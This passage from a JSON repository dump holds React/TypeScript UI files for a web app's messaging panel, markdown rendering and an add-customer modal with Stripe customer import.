\"prose-pre:code:bg-transparent prose-pre:code:p-0 prose-pre:code:text-sm\",\n        \"prose-blockquote:border-l-4 prose-blockquote:pl-4 prose-blockquote:italic\",\n        \"prose-ul:list-disc prose-ul:pl-8\",\n        \"prose-ol:list-decimal prose-ol:pl-8\",\n        \"prose-li:mb-1 prose-li:leading-5\",\n        \"prose-hr:my-8\",\n        \"prose-img:rounded-lg prose-img:border-1\",\n        invert\n          ? [\n              \"prose-headings:text-white prose-headings:border-neutral-600\",\n              \"prose-p:text-neutral-200\",\n              \"prose-a:text-neutral-300 hover:prose-a:text-neutral-100\",\n              \"prose-strong:text-white\",\n              \"prose-em:text-neutral-200\",\n              \"prose-code:text-neutral-100 prose-code:bg-neutral-800\",\n              \"prose-pre:bg-neutral-800 prose-pre:border-neutral-600\",\n              \"prose-blockquote:border-neutral-500 prose-blockquote:text-neutral-300\",\n              \"prose-ul:text-neutral-200\",\n              \"prose-ol:text-neutral-200\",\n              \"prose-hr:border-neutral-600\",\n              \"prose-img:border-neutral-600\",\n            ]\n          : [\n              \"prose-headings:text-neutral-900 prose-headings:border-neutral-200\",\n              \"prose-p:text-neutral-700\",\n              \"prose-a:text-neutral-600 hover:prose-a:text-neutral-700\",\n              \"prose-strong:text-neutral-900\",\n              \"prose-em:text-neutral-700\",\n              \"prose-code:text-neutral-800 prose-code:bg-neutral-100\",\n              \"prose-pre:bg-neutral-50 prose-pre:border-neutral-200\",\n              \"prose-blockquote:border-neutral-300 prose-blockquote:text-neutral-600\",\n              \"prose-ul:text-neutral-700\",\n              \"prose-ol:text-neutral-700\",\n              \"prose-hr:border-neutral-200\",\n              \"prose-img:border-neutral-200\",\n            ],\n      )}\n      allowedElements={[\n        \"p\",\n        \"a\",\n        \"code\",\n        \"pre\",\n        \"strong\",\n        \"em\",\n        \"ul\",\n        \"ol\",\n        \"li\",\n        \"blockquote\",\n        \"hr\",\n      ]}\n      components={{\n        a: ({ node, ...props }) => (\n          <a {...props} target=\"_blank\" rel=\"noopener noreferrer\" />\n        ),\n        img: ({ node, ...props }) => <ZoomImage {...props} />,\n        p: ({ node, children, ...props }) => {\n          // Check if paragraph only contains images (which render as divs via ZoomImage)\n          // to avoid invalid <p><div></div></p> nesting\n          const hasOnlyImages = node?.children?.every(\n            (child: any) => child.tagName === \"img\",\n          );\n\n          if (hasOnlyImages) {\n            return <div {...props}>{children}</div>;\n          }\n\n          return <p {...props}>{children}</p>;\n        },\n        ...components,\n      }}\n      remarkPlugins={[remarkGfm] as any}\n    >\n      {children}\n    </ReactMarkdown>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/messages/messages-context.tsx",
    "content": "import { Dispatch, SetStateAction, createContext, useContext } from \"react\";\n\nexport type MessagesPanel = \"index\" | \"main\";\n\nexport const MessagesContext = createContext<{\n  currentPanel: MessagesPanel;\n  setCurrentPanel: Dispatch<SetStateAction<MessagesPanel>>;\n}>({\n  currentPanel: \"index\",\n  setCurrentPanel: () => {},\n});\n\nexport function useMessagesContext() {\n  return useContext(MessagesContext);\n}\n"
  },
  {
    "path": "apps/web/ui/messages/messages-list.tsx",
    "content": "import { OG_AVATAR_URL, cn, timeAgo } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useMessagesContext } from \"./messages-context\";\n\nfunction stripMarkdown(text: string): string {\n  return text\n    .replace(/\\*\\*([^*]+)\\*\\*/g, \"$1\") // Bold **text**\n    .replace(/\\*([^*]+)\\*/g, \"$1\") // Italic *text*\n    .replace(/__([^_]+)__/g, \"$1\") // Bold __text__\n    .replace(/_([^_]+)_/g, \"$1\") // Italic _text_\n    .replace(/\\[([^\\]]+)\\]\\([^\\)]+\\)/g, \"$1\") // Links [text](url)\n    .replace(/`([^`]+)`/g, \"$1\") // Inline code `code`\n    .replace(/#+\\s+/g, \"\") // Headers\n    .replace(/\\n+/g, \" \") // Newlines to spaces\n    .trim();\n}\n\nexport function MessagesList({\n  groupedMessages,\n  activeId,\n}: {\n  groupedMessages:\n    | {\n        id: string;\n        name: string;\n        image: string | null;\n        messages: { text: string; subject: string | null; createdAt: Date }[];\n        href: string;\n        unread?: boolean;\n      }[]\n    | undefined;\n  activeId?: string;\n}) {\n  const { setCurrentPanel } = useMessagesContext();\n\n  return (\n    <div className=\"flex w-full flex-col\">\n      {groupedMessages\n        ? groupedMessages.map((group) => {\n            const lastMessage = group.messages.at(-1);\n\n            return (\n              <Link\n                key={group.id}\n                href={group.href}\n                onClick={() => setCurrentPanel(\"main\")}\n                className={cn(\n                  \"border-border-subtle flex w-full items-center gap-2.5 border-b bg-white px-6 py-4\",\n                  group.id === activeId ? \"bg-bg-subtle\" : \"hover:bg-bg-muted\",\n                )}\n              >\n                <div className=\"relative shrink-0\">\n                  <img\n                    src={group.image || `${OG_AVATAR_URL}${group.name}`}\n                    alt={`${group.name} avatar`}\n                    className=\"size-8 rounded-full\"\n                  />\n                  {group.unread && (\n                    <div className=\"absolute -right-0.5 -top-0.5 size-3 rounded-full border-2 border-white bg-blue-600\" />\n                  )}\n                </div>\n                <div className=\"min-w-0 grow\">\n                  <div className=\"flex items-center justify-between gap-2\">\n                    <span className=\"text-content-emphasis min-w-0 truncate text-sm font-semibold\">\n                      {group.name}\n                    </span>\n                    {lastMessage && (\n                      <span className=\"text-content-subtle whitespace-nowrap text-xs font-medium\">\n                        {timeAgo(lastMessage.createdAt, { withAgo: true })}\n                      </span>\n                    )}\n                  </div>\n                  <span className=\"text-content-subtle block truncate text-sm font-medium\">\n                    {lastMessage?.subject ||\n                      (lastMessage?.text\n                        ? stripMarkdown(lastMessage.text)\n                        : null)}\n                  </span>\n                </div>\n              </Link>\n            );\n          })\n        : [...Array(3)].map((_, index) => (\n            <div\n              key={index}\n              className=\"border-border-subtle flex w-full items-center gap-2.5 border-b bg-white px-6 py-4\"\n            >\n              <div className=\"size-8 shrink-0 animate-pulse rounded-full bg-neutral-200\" />\n              <div className=\"min-w-0 grow\">\n                <div className=\"flex items-center justify-between gap-2\">\n                  <div className=\"h-5 w-20 animate-pulse rounded-md bg-neutral-200\" />\n                  <div className=\"h-4 w-10 animate-pulse rounded-md bg-neutral-200\" />\n                </div>\n                <div className=\"mt-1 h-4 w-full animate-pulse rounded-md bg-neutral-200\" />\n              </div>\n            </div>\n          ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/messages/messages-panel.tsx",
    "content": "import { Message, PartnerProps, ProgramProps } from \"@/lib/types\";\nimport {\n  AnimatedSizeContainer,\n  Check2,\n  Envelope,\n  LoadingSpinner,\n  Tooltip,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn, formatDateTime } from \"@dub/utils\";\nimport { ChevronRight } from \"lucide-react\";\nimport { Fragment, useMemo, useRef, useState } from \"react\";\nimport { MessageInput } from \"../shared/message-input\";\nimport { MessageMarkdown } from \"./message-markdown\";\n\ninterface Sender {\n  name: string | null;\n  image?: string | null;\n  partnerId?: string;\n  userId?: string;\n}\n\nexport function MessagesPanel({\n  messages,\n  currentUserType,\n  currentUserId,\n  program,\n  partner,\n  onSendMessage,\n  placeholder,\n  error,\n}: {\n  messages?: (Message & { delivered?: boolean })[];\n  currentUserType: \"partner\" | \"user\";\n  currentUserId: string;\n  program?: Pick<ProgramProps, \"logo\" | \"name\">;\n  partner?: Pick<PartnerProps, \"name\">;\n  onSendMessage: (message: string) => void;\n  placeholder?: string;\n  error?: any;\n}) {\n  const { isMobile } = useMediaQuery();\n  const scrollRef = useRef<HTMLDivElement>(null);\n\n  // Generate personalized placeholder based on user type\n  const personalizedPlaceholder = useMemo(\n    () =>\n      placeholder ||\n      (currentUserType === \"partner\" && program?.name\n        ? `Message ${program.name}...`\n        : currentUserType === \"user\" && partner?.name\n          ? `Message ${partner.name}...`\n          : \"Type a message...\"),\n    [placeholder, currentUserType, program?.name, partner?.name],\n  );\n\n  const sendMessage = (message: string) => {\n    if (!messages) return false;\n\n    onSendMessage(message);\n    scrollRef.current?.scrollTo({ top: 0 });\n  };\n\n  const isMessageMySide = (message: Message) =>\n    Boolean(\n      currentUserType === \"partner\"\n        ? message.senderPartnerId\n        : !message.senderPartnerId,\n    );\n\n  const isMessageFromMe = (message: Message) =>\n    Boolean(\n      currentUserType === \"partner\"\n        ? message.senderPartnerId\n        : message.senderUserId === currentUserId,\n    );\n\n  const isMessageNewDate = (first: Message, second: Message) =>\n    new Date(first.createdAt).toDateString() !==\n    new Date(second.createdAt).toDateString();\n\n  const isMessageNewTime = (first: Message, second: Message) =>\n    Math.abs(\n      new Date(first.createdAt).getTime() -\n        new Date(second.createdAt).getTime(),\n    ) >\n    5 * 1000 * 60;\n\n  const isMessageSameSender = (first: Message, second: Message) =>\n    first.senderUserId === second.senderUserId &&\n    first.senderPartnerId === second.senderPartnerId;\n\n  return (\n    <div className=\"flex size-full flex-col\">\n      {messages ? (\n        <div\n          ref={scrollRef}\n          className=\"scrollbar-hide flex grow flex-col-reverse overflow-y-auto\"\n        >\n          <div className=\"flex flex-col items-stretch gap-2 p-6\">\n            {messages?.map((message, idx) => {\n              const isNewDate =\n                idx === 0 || isMessageNewDate(message, messages[idx - 1]);\n\n              // If it's been more than 5 minutes since the last message\n              const isNewTime =\n                isNewDate || isMessageNewTime(message, messages[idx - 1]);\n\n              const isMySide = isMessageMySide(message);\n              const isMe = isMessageFromMe(message);\n\n              // Only show avatar if it's the last from a side\n              const showAvatar =\n                idx === messages.length - 1 ||\n                !isMessageSameSender(message, messages[idx + 1]) ||\n                isMessageNewTime(message, messages[idx + 1]);\n\n              // Message is new if it was sent within the last 10 seconds (used for intro animations)\n              const isNew =\n                new Date(message.createdAt).getTime() >\n                new Date().getTime() - 10_000;\n\n              // only show status indicator for program owners\n              const showStatusIndicator =\n                currentUserType === \"user\" &&\n                isMySide &&\n                (idx === messages.length - 1 ||\n                  messages.slice(idx + 1).findIndex(isMessageMySide) === -1);\n\n              const sender = message.senderPartner || message.senderUser;\n\n              const isFirstFromSender =\n                idx === 0 || !isMessageSameSender(message, messages[idx - 1]);\n\n              return (\n                <Fragment\n                  key={`${new Date(message.createdAt).getTime()}-${message.senderUserId}-${message.senderPartnerId}`}\n                >\n                  {isNewTime && (\n                    <div\n                      className={cn(\n                        \"text-content-subtle text-center text-xs font-medium\",\n                        idx > 0 && \"pt-5\",\n                        isNew && \"animate-scale-in-fade\",\n                        isNewDate && \"text-content-default font-semibold\",\n                      )}\n                    >\n                      {formatDateTime(\n                        message.createdAt,\n                        isNewDate\n                          ? undefined\n                          : {\n                              month: undefined,\n                              day: undefined,\n                              year: undefined,\n                            },\n                      )}\n                    </div>\n                  )}\n\n                  {message.type === \"campaign\" ? (\n                    <CampaignMessage\n                      message={message}\n                      isMySide={isMySide}\n                      isMe={isMe}\n                      sender={sender}\n                      showStatusIndicator={showStatusIndicator}\n                      isNewTime={isNewTime}\n                      isFirstFromSender={isFirstFromSender}\n                      isNew={isNew}\n                      program={program}\n                    />\n                  ) : (\n                    <div\n                      className={cn(\n                        \"flex items-end gap-2\",\n                        isMySide\n                          ? \"origin-bottom-right flex-row-reverse\"\n                          : \"origin-bottom-left\",\n                        isNew && \"animate-scale-in-fade\",\n                      )}\n                    >\n                      {/* Avatar */}\n                      {showAvatar ? (\n                        <MessageAvatar\n                          sender={sender}\n                          program={program}\n                          message={message}\n                        />\n                      ) : (\n                        <div className=\"size-8\" />\n                      )}\n\n                      <div\n                        className={cn(\n                          \"flex min-w-0 flex-col items-start gap-1\",\n                          isMySide && \"items-end\",\n                        )}\n                      >\n                        {/* Name / timestamp */}\n                        <MessageHeader\n                          isMySide={isMySide}\n                          isMe={isMe}\n                          sender={sender}\n                          message={message}\n                          isNewTime={isNewTime}\n                          isFirstFromSender={isFirstFromSender}\n                          showStatusIndicator={showStatusIndicator}\n                          program={program}\n                        />\n                        {/* Message box */}\n                        <div\n                          className={cn(\n                            \"max-w-[min(100%,512px)] rounded-xl px-4 py-2.5 text-sm\",\n                            isMySide\n                              ? \"rounded-br bg-neutral-700\"\n                              : \"rounded-bl bg-neutral-100\",\n                          )}\n                        >\n                          <MessageMarkdown invert={isMySide}>\n                            {message.text}\n                          </MessageMarkdown>\n                        </div>\n                      </div>\n                    </div>\n                  )}\n                </Fragment>\n              );\n            })}\n          </div>\n        </div>\n      ) : error ? (\n        <div className=\"text-content-subtle flex size-full items-center justify-center text-sm font-medium\">\n          Failed to load messages\n        </div>\n      ) : (\n        <div className=\"flex size-full items-center justify-center\">\n          <LoadingSpinner />\n        </div>\n      )}\n      <div className=\"border-border-subtle border-t p-3 sm:p-6\">\n        <MessageInput\n          placeholder={personalizedPlaceholder}\n          onSendMessage={sendMessage}\n          autoFocus={!isMobile}\n        />\n      </div>\n    </div>\n  );\n}\n\nfunction StatusIndicator({\n  message,\n}: {\n  message: Message & { delivered?: boolean };\n}) {\n  return (\n    <Tooltip\n      content={\n        message.delivered === false\n          ? \"Sending\"\n          : message.readInApp\n            ? \"Read in app\"\n            : message.readInEmail\n              ? \"Read in email\"\n              : \"Delivered\"\n      }\n    >\n      <div\n        className={cn(\n          \"text-content-subtle flex items-center\",\n          message.readInApp\n            ? \"text-blue-500\"\n            : message.readInEmail && \"text-violet-500\",\n        )}\n      >\n        {message.delivered === false ? (\n          <>\n            <LoadingSpinner className=\"size-3\" />\n          </>\n        ) : (\n          <>\n            <Check2 className=\"size-3\" />\n            {(message.readInEmail || message.readInApp) && (\n              <Check2 className=\"-ml-0.5 size-3\" />\n            )}\n          </>\n        )}\n      </div>\n    </Tooltip>\n  );\n}\n\nfunction MessageAvatar({\n  sender,\n  program,\n  message,\n}: {\n  sender: Sender | null;\n  program?: Pick<ProgramProps, \"logo\" | \"name\"> | null;\n  message: Message;\n}) {\n  const isCampaign = message.type === \"campaign\";\n  const avatarName = !isCampaign ? sender?.name : program?.name;\n  const avatarImage = !isCampaign ? sender?.image : program?.logo;\n\n  return (\n    <Tooltip content={avatarName}>\n      <div className=\"relative shrink-0\">\n        <img\n          src={avatarImage ?? `${OG_AVATAR_URL}${avatarName}`}\n          alt={`${avatarName} avatar`}\n          className=\"size-8 rounded-full\"\n          draggable={false}\n        />\n\n        {!isCampaign && program?.logo && !message.senderPartnerId && (\n          <img\n            src={program?.logo}\n            alt=\"program logo\"\n            className=\"absolute -bottom-0.5 -right-0.5 size-3.5 rounded-full border border-white\"\n          />\n        )}\n      </div>\n    </Tooltip>\n  );\n}\n\nfunction MessageHeader({\n  isMySide,\n  isMe,\n  sender,\n  message,\n  isNewTime,\n  isFirstFromSender,\n  showStatusIndicator,\n  program,\n}: {\n  isMySide: boolean;\n  isMe: boolean;\n  sender: Sender | null;\n  message: Message & { delivered?: boolean };\n  isNewTime: boolean;\n  isFirstFromSender: boolean;\n  showStatusIndicator: boolean;\n  program?: Pick<ProgramProps, \"logo\" | \"name\"> | null;\n}) {\n  const isCampaign = message.type === \"campaign\";\n  const name = isCampaign ? program?.name : sender?.name;\n\n  return (\n    ((!isMySide && isFirstFromSender) || isNewTime || showStatusIndicator) && (\n      <div className=\"flex items-center gap-1.5 pt-3\">\n        {!isMe && (\n          <>\n            <span className=\"text-content-default min-w-0 truncate text-xs font-medium\">\n              {name}\n            </span>\n\n            {isCampaign && (\n              <>\n                <span className=\"text-content-default text-xs font-medium\">\n                  •\n                </span>\n                <span className=\"text-content-default text-xs font-medium\">\n                  Email sent\n                </span>\n              </>\n            )}\n          </>\n        )}\n\n        {showStatusIndicator && <StatusIndicator message={message} />}\n      </div>\n    )\n  );\n}\n\nfunction CampaignMessage({\n  message,\n  isMySide,\n  isMe,\n  sender,\n  showStatusIndicator,\n  isNewTime,\n  isFirstFromSender,\n  isNew,\n  program,\n}: {\n  message: Message & { delivered?: boolean };\n  isMySide: boolean;\n  isMe: boolean;\n  sender: Sender | null;\n  showStatusIndicator: boolean;\n  isNewTime: boolean;\n  isFirstFromSender: boolean;\n  isNew: boolean;\n  program?: Pick<ProgramProps, \"logo\" | \"name\"> | null;\n}) {\n  const [isExpanded, setIsExpanded] = useState(false);\n\n  return (\n    <div\n      className={cn(\n        \"flex items-end gap-2\",\n        isMySide\n          ? \"origin-bottom-right flex-row-reverse\"\n          : \"origin-bottom-left\",\n        isNew && \"animate-scale-in-fade\",\n      )}\n    >\n      <MessageAvatar sender={sender} program={program} message={message} />\n\n      <div\n        className={cn(\n          \"flex min-w-0 flex-col items-start gap-1\",\n          isMySide && \"items-end\",\n        )}\n      >\n        <MessageHeader\n          isMySide={isMySide}\n          isMe={isMe}\n          sender={sender}\n          message={message}\n          isNewTime={isNewTime}\n          isFirstFromSender={isFirstFromSender}\n          showStatusIndicator={showStatusIndicator}\n          program={program}\n        />\n\n        <div\n          className={cn(\n            \"max-w-[min(100%,512px)] rounded-xl text-sm\",\n            isMySide\n              ? \"text-content-inverted rounded-br bg-neutral-700\"\n              : \"text-content-default rounded-bl bg-neutral-100\",\n          )}\n        >\n          <button\n            onClick={() => setIsExpanded(!isExpanded)}\n            className={cn(\n              \"flex w-full items-center justify-between gap-2 rounded-t-xl px-4 py-2.5 pb-2\",\n              !isExpanded && \"rounded-b-xl\",\n              isExpanded && \"border-b border-neutral-200\",\n            )}\n          >\n            <div className=\"flex min-w-0 items-center gap-2\">\n              <Envelope\n                className={cn(\n                  \"text-content-default size-4 shrink-0\",\n                  isMySide && \"text-content-inverted\",\n                )}\n              />\n              <span\n                className={cn(\n                  \"text-content-default truncate text-sm font-medium\",\n                  isMySide && \"text-content-inverted\",\n                )}\n              >\n                {message.subject}\n              </span>\n            </div>\n\n            <div className=\"flex shrink-0 items-center gap-1 text-xs font-semibold\">\n              <p>{isExpanded ? \"Hide\" : \"Show\"} email</p>\n              <ChevronRight\n                className={cn(\n                  \"size-3.5 transition-transform duration-200\",\n                  isExpanded && \"rotate-90\",\n                )}\n              />\n            </div>\n          </button>\n\n          <AnimatedSizeContainer height>\n            <div\n              className={cn(\n                \"max-w-lg overflow-hidden\",\n                isExpanded ? \"px-2 py-2.5\" : \"max-h-0 px-2 py-0\",\n              )}\n            >\n              <MessageMarkdown invert={isMySide}>\n                {message.text}\n              </MessageMarkdown>\n            </div>\n          </AnimatedSizeContainer>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/messages/toggle-side-panel-button.tsx",
    "content": "import { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function ToggleSidePanelButton({\n  side = \"right\",\n  isOpen,\n  onClick,\n}: {\n  side?: \"left\" | \"right\";\n  isOpen: boolean;\n  onClick: () => void;\n}) {\n  return (\n    <Button\n      onClick={onClick}\n      variant=\"secondary\"\n      className=\"size-9 shrink-0 rounded-lg p-0\"\n      icon={\n        <svg\n          viewBox=\"0 0 18 18\"\n          xmlns=\"http://www.w3.org/2000/svg\"\n          className={cn(\"size-4\", side === \"left\" && \"rotate-180\")}\n        >\n          <g fill=\"currentColor\">\n            <line\n              fill=\"none\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n              x1=\"11.75\"\n              x2=\"11.75\"\n              y1=\"2.75\"\n              y2=\"15.25\"\n            />\n            <polyline\n              fill=\"none\"\n              points=\"5.75 6.5 8.25 9 5.75 11.5\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n              className={cn(\n                \"transition-transform [transform-box:fill-box] [transform-origin:center] [vector-effect:non-scaling-stroke]\",\n                !isOpen && \"-scale-x-100\",\n              )}\n            />\n            <rect\n              height=\"12.5\"\n              width=\"14.5\"\n              fill=\"none\"\n              rx=\"2\"\n              ry=\"2\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n              x=\"1.75\"\n              y=\"2.75\"\n            />\n          </g>\n        </svg>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-customer-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerProps } from \"@/lib/types\";\nimport {\n  createCustomerBodySchema,\n  StripeCustomerSchema,\n} from \"@/lib/zod/schemas/customers\";\nimport { CountryCombobox } from \"@/ui/partners/country-combobox\";\nimport {\n  AnimatedSizeContainer,\n  ArrowUpRight,\n  Button,\n  Modal,\n  StripeIcon,\n  Switch,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport { useCallback, useEffect, useMemo, useRef, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport * as z from \"zod/v4\";\n\nexport type AddCustomerInitialData = { name?: string; email?: string };\n\ninterface AddCustomerModalProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onSuccess?: (customer: CustomerProps) => void;\n  initialData?: AddCustomerInitialData;\n}\n\ntype FormData = z.infer<typeof createCustomerBodySchema>;\ntype StripeCustomer = z.infer<typeof StripeCustomerSchema>;\n\nfunction getCustomerInitials(customer: StripeCustomer): string {\n  const raw = customer.name || customer.email || customer.id;\n  const parts = raw\n    .trim()\n    .split(/[\\s,]+/)\n    .filter(Boolean);\n  if (parts.length >= 2) {\n    return (parts[0][0] + parts[1][0]).toUpperCase();\n  }\n  return raw.slice(0, 2).toUpperCase();\n}\n\nexport const AddCustomerModal = ({\n  showModal,\n  setShowModal,\n  onSuccess,\n  initialData,\n}: AddCustomerModalProps) => {\n  const { id: workspaceId } = useWorkspace();\n  const { isMobile } = useMediaQuery();\n  const params = useParams();\n  const slug = params?.slug as string | undefined;\n  const [hasStripeCustomerId, setHasStripeCustomerId] = useState(false);\n  const [showStripeImport, setShowStripeImport] = useState(false);\n  const [stripeSearchEmail, setStripeSearchEmail] = useState(\"\");\n  const [stripeSearchResults, setStripeSearchResults] = useState<\n    StripeCustomer[] | null\n  >(null);\n  const [stripeSearchLoading, setStripeSearchLoading] = useState(false);\n  const [stripeSearchError, setStripeSearchError] = useState<string | null>(\n    null,\n  );\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    reset,\n    setValue,\n    getValues,\n    formState: { isSubmitting, errors },\n  } = useForm<FormData>({\n    defaultValues: {\n      name: null,\n      email: null,\n      externalId: \"\",\n      stripeCustomerId: null,\n      country: \"US\",\n    },\n  });\n\n  const prevShowModal = useRef(showModal);\n\n  useEffect(() => {\n    // Only reset when the modal opens (transitions from false to true)\n    if (showModal && !prevShowModal.current) {\n      setHasStripeCustomerId(false);\n      setShowStripeImport(false);\n      setStripeSearchEmail(\"\");\n      setStripeSearchResults(null);\n      setStripeSearchError(null);\n      reset({\n        name: initialData?.name ?? null,\n        email: initialData?.email ?? null,\n        externalId: \"\",\n        stripeCustomerId: null,\n        country: \"US\",\n      });\n    }\n    prevShowModal.current = showModal;\n  }, [showModal, initialData, reset]);\n\n  useEffect(() => {\n    if (!hasStripeCustomerId) {\n      setValue(\"stripeCustomerId\", null);\n    }\n  }, [hasStripeCustomerId, setValue]);\n\n  const onSearchStripe = useCallback(async () => {\n    const email = stripeSearchEmail.trim();\n    if (!email) {\n      setStripeSearchError(\"Enter an email to search.\");\n      return;\n    }\n    setStripeSearchError(null);\n    setStripeSearchResults(null);\n    setStripeSearchLoading(true);\n    try {\n      const response = await fetch(\n        `/api/customers/search-stripe?workspaceId=${workspaceId}&search=${encodeURIComponent(email)}`,\n      );\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error?.message || \"Search failed.\");\n      }\n      const data = await response.json();\n      setStripeSearchResults(data);\n      if (data.length === 0) {\n        setStripeSearchError(\"No Stripe customers found for this email.\");\n      }\n    } catch (err) {\n      setStripeSearchError(\n        err instanceof Error ? err.message : \"Something went wrong.\",\n      );\n      setStripeSearchResults([]);\n    } finally {\n      setStripeSearchLoading(false);\n    }\n  }, [workspaceId, stripeSearchEmail]);\n\n  const onSelectStripeCustomer = useCallback(\n    (customer: StripeCustomer) => {\n      setValue(\"name\", customer.name ?? null, { shouldValidate: true });\n      setValue(\"email\", customer.email ?? null, { shouldValidate: true });\n      setValue(\"externalId\", customer.email ?? customer.id, {\n        shouldValidate: true,\n      });\n      setValue(\"stripeCustomerId\", customer.id, { shouldValidate: true });\n      setValue(\"country\", customer.country ?? \"US\", { shouldValidate: true });\n      setHasStripeCustomerId(true);\n      setShowStripeImport(false);\n      setStripeSearchResults(null);\n      setStripeSearchEmail(\"\");\n      setStripeSearchError(null);\n      toast.success(\"Customer details filled from Stripe.\");\n    },\n    [setValue],\n  );\n\n  const onSubmit = async (data: FormData) => {\n    try {\n      const response = await fetch(\n        `/api/customers?workspaceId=${workspaceId}`,\n        {\n          method: \"POST\",\n          headers: {\n            \"Content-Type\": \"application/json\",\n          },\n          body: JSON.stringify(data),\n        },\n      );\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message || \"Failed to create customer.\");\n      }\n\n      const customer = await response.json();\n      await mutate(`/api/customers?workspaceId=${workspaceId}`);\n      toast.success(\n        `Customer \"${customer.email ?? customer.externalId}\" added successfully!`,\n      );\n      onSuccess?.(customer);\n      setShowModal(false);\n    } catch (error) {\n      toast.error(error.message || \"Something went wrong.\");\n    }\n  };\n\n  const externalId = watch(\"externalId\");\n  const country = watch(\"country\");\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"flex items-center justify-between gap-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Create new customer</h3>\n        {!showStripeImport && (\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            className=\"h-9 w-fit\"\n            icon={<StripeIcon className=\"size-4\" />}\n            text=\"Import from Stripe\"\n            onClick={() => {\n              setShowStripeImport(true);\n              setStripeSearchResults(null);\n              setStripeSearchError(null);\n              setStripeSearchEmail(getValues(\"email\") ?? \"\");\n            }}\n          />\n        )}\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form\n          onSubmit={(e) => {\n            e.stopPropagation();\n            return handleSubmit(onSubmit)(e);\n          }}\n        >\n          <AnimatedSizeContainer\n            height\n            className=\"flex flex-col\"\n            transition={{ type: \"spring\", stiffness: 400, damping: 35 }}\n          >\n            {showStripeImport ? (\n              <div className=\"flex flex-col gap-5 px-4 py-6 sm:px-6\">\n                <button\n                  type=\"button\"\n                  onClick={() => {\n                    setShowStripeImport(false);\n                    setStripeSearchResults(null);\n                    setStripeSearchError(null);\n                  }}\n                  className=\"-ml-1 flex w-fit items-center gap-1 text-xs text-neutral-500 transition-colors hover:text-neutral-700\"\n                >\n                  <span className=\"text-neutral-400\">←</span>\n                  Back to manual input\n                </button>\n                <div className=\"flex flex-col gap-3\">\n                  <p className=\"text-sm text-neutral-500\">\n                    Search by email in your connected Stripe account to pull in\n                    customer details.\n                  </p>\n                  <div className=\"flex gap-2\">\n                    <input\n                      type=\"email\"\n                      autoComplete=\"off\"\n                      placeholder=\"customer@example.com\"\n                      value={stripeSearchEmail}\n                      onChange={(e) => setStripeSearchEmail(e.target.value)}\n                      onKeyDown={(e) => {\n                        if (e.key === \"Enter\") {\n                          e.preventDefault();\n                          onSearchStripe();\n                        }\n                      }}\n                      className=\"flex-1 rounded-lg border border-neutral-200 bg-white px-3 py-2.5 text-sm text-neutral-900 placeholder-neutral-400 shadow-sm transition-colors focus:border-neutral-400 focus:outline-none focus:ring-2 focus:ring-neutral-200\"\n                    />\n                    <Button\n                      type=\"button\"\n                      text=\"Search\"\n                      className=\"h-10 w-fit\"\n                      loading={stripeSearchLoading}\n                      disabled={!stripeSearchEmail.trim()}\n                      onClick={onSearchStripe}\n                    />\n                  </div>\n                  {stripeSearchError && (\n                    <p className=\"ml-1 text-xs text-red-600\">\n                      {stripeSearchError}\n                    </p>\n                  )}\n                </div>\n                {stripeSearchResults && stripeSearchResults.length > 0 && (\n                  <div className=\"overflow-hidden rounded-lg border border-neutral-200 bg-white shadow-sm\">\n                    <div className=\"border-b border-neutral-100 bg-neutral-50/80 px-3 py-2\">\n                      <p className=\"text-xs font-medium text-neutral-500\">\n                        Search results\n                      </p>\n                    </div>\n                    <ul className=\"max-h-52 overflow-y-auto p-1.5\">\n                      {stripeSearchResults.map((customer) => {\n                        const displayName =\n                          customer.name || customer.email || customer.id;\n                        const initials = getCustomerInitials(customer);\n                        const stripeUrl = `https://dashboard.stripe.com/customers/${customer.id}`;\n\n                        return (\n                          <li key={customer.id}>\n                            <button\n                              type=\"button\"\n                              disabled={!!customer.dubCustomerId}\n                              onClick={() => onSelectStripeCustomer(customer)}\n                              className={cn(\n                                \"flex w-full items-center gap-3 rounded-md px-2.5 py-2.5 text-left\",\n                                customer.dubCustomerId\n                                  ? \"cursor-not-allowed opacity-60\"\n                                  : \"transition-colors hover:bg-neutral-100\",\n                              )}\n                            >\n                              <div className=\"flex size-9 shrink-0 items-center justify-center rounded-full bg-neutral-200 text-xs font-medium text-neutral-600\">\n                                {initials}\n                              </div>\n                              <div className=\"min-w-0 flex-1\">\n                                <div className=\"flex flex-wrap items-center gap-x-1.5 gap-y-0.5\">\n                                  <span className=\"font-medium text-neutral-800\">\n                                    {displayName}\n                                  </span>\n                                  {customer.email && customer.name && (\n                                    <span className=\"truncate text-xs text-neutral-500\">\n                                      {customer.email}\n                                    </span>\n                                  )}\n                                </div>\n                                <div className=\"mt-1 flex flex-wrap items-center gap-x-2 text-xs text-neutral-500\">\n                                  <a\n                                    href={stripeUrl}\n                                    target=\"_blank\"\n                                    rel=\"noopener noreferrer\"\n                                    className=\"inline-flex items-center gap-0.5 font-mono hover:text-neutral-700\"\n                                    